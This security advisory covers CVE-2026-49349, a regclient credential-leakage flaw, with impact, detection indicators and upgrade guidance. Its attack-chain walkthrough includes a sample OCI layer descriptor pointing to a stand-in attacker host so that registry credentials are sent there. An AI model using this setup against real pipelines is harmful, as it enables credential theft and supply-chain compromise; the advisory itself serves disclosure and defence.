CVE-2026-49349: 
Wolfi vulnerability analysis and mitigation

CVE-2026-49349 is a credential leakage vulnerability in the regclient Go library (package github.com/regclient/regclient) that may cause registry authentication credentials to be inadvertently sent to attacker-controlled external servers. It affects all versions up to and including v0.11.4, with v0.11.5 containing the fix. The advisory was submitted on 2026-05-25 and the fix was released on 2026-05-26. It carries a CVSS v3.1 base score of 6.8 (Moderate) (GitHub Advisory, regclient Advisory).

The root cause is classified as CWE-522 (Insufficiently Protected Credentials). When regclient fetches an OCI image and the primary blob request to the registry fails, it falls back to external URLs specified in the layer descriptor's urls field. If the external server challenges for authentication, regclient incorrectly forwards the credentials originally configured for the source registry to the external host. A prerequisite for exploitation is a malicious registry server, a malicious blob store, or a legitimate registry that does not restrict external URLs for foreign blobs. The attack is triggered when a user or automated pipeline fetches an image from such a registry (GitHub Advisory, regclient Advisory).

Successful exploitation results in high confidentiality impact: registry authentication credentials (e.g., tokens, passwords) are exfiltrated to an attacker-controlled server. There is no integrity or availability impact. Stolen credentials could be reused to access private container image repositories, potentially exposing proprietary software, secrets embedded in images, or enabling further supply chain attacks (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported. The CVE status remains "Reserved" and the vulnerability has not been added to the CISA Known Exploited Vulnerabilities catalog. Exploitation requires an attacker to control or influence a registry server (or blob store) that the victim's regclient-based tooling interacts with, and user interaction (triggering an image fetch) is required. No EPSS score or threat actor attribution is currently available (GitHub Advisory, regclient Advisory).

1. Set up a malicious registry: The attacker operates or compromises a container registry (or blob store) that the target organization's CI/CD pipeline or tooling pulls images from.
2. Craft a malicious OCI image manifest: The attacker creates an image manifest containing a layer descriptor with a urls field pointing to an attacker-controlled server, for example:

{
  "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
  "digest": "sha256:...",
  "size": 1024,
  "urls": ["https://malicious.example.org/blobs/sha256/..."]
}

3. Trigger image fetch: The attacker waits for or induces a user or automated system using a vulnerable version of regclient (≤ 0.11.4) to pull the malicious image.
4. Cause primary blob fetch failure: The primary blob request to the registry is made to fail (e.g., by returning a 404 or network error), causing regclient to fall back to the external URL.
5. Capture credentials: The attacker's server responds with an HTTP 401 authentication challenge; regclient then sends the registry credentials to the attacker's server, which logs them for later use (GitHub Advisory, regclient Advisory).

• Network: Outbound HTTPS requests from systems running regclient-based tools to unexpected external hosts during image pull operations, particularly to domains not associated with known registries; HTTP requests containing Authorization headers sent to non-registry endpoints.
• Logs: Application or container runtime logs showing blob fetch fallback activity (e.g., log entries indicating a primary blob fetch failure followed by a fetch attempt to an external URL); authentication attempts to unfamiliar hosts during image pull workflows.
• Process/Behavior: regclient-based tools (e.g., regctl, custom Go applications using the library) making network connections to hosts listed in OCI layer descriptor urls fields that differ from the configured registry host.

Users should upgrade github.com/regclient/regclient to version 0.11.5 or later, which contains the fix released on 2026-05-26. As a workaround prior to patching, organizations should ensure they only pull images from trusted registries that restrict or disallow external URLs in foreign blob descriptors. Auditing CI/CD pipelines and tooling that use regclient for exposure to untrusted registries is also recommended (GitHub Advisory, regclient Advisory).

The vulnerability was discovered and reported by Theodoros Lampropoulos, Threat Detection Engineer at Odyssey Cyber Security, and the fix was developed by sudo-bmitch (a regclient maintainer). The advisory was published quietly with a rapid turnaround — less than 24 hours between submission and fix release — indicating a responsive disclosure process. No significant broader media coverage or notable community discussion has been identified beyond the GitHub advisory (GitHub Advisory, regclient Advisory).